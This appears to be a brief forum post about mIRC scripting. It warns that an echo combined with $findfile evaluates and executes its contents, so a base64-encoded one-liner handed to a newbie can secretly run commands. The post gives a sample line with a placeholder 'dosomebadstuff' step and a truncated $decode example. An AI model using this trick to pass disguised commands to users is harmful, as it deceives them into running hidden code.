Hi.
echo can, in combination with $findfile, execute stuff.
so you think you echo some encoded stuff in decoded version, but instead of echoing, it will be executed.
echo -a $( $findfile(.,*,1,scid -at1 .amsg n1

$!cb(1) | .dosomebadstuff) ,2)
now think that would be encoded and you give it to a newbie
//echo -a $($decode(JGZpbmRma.....==,m),2)
could end bad (think on RPC, eg.)
btw, it also works with the actual version 6.16
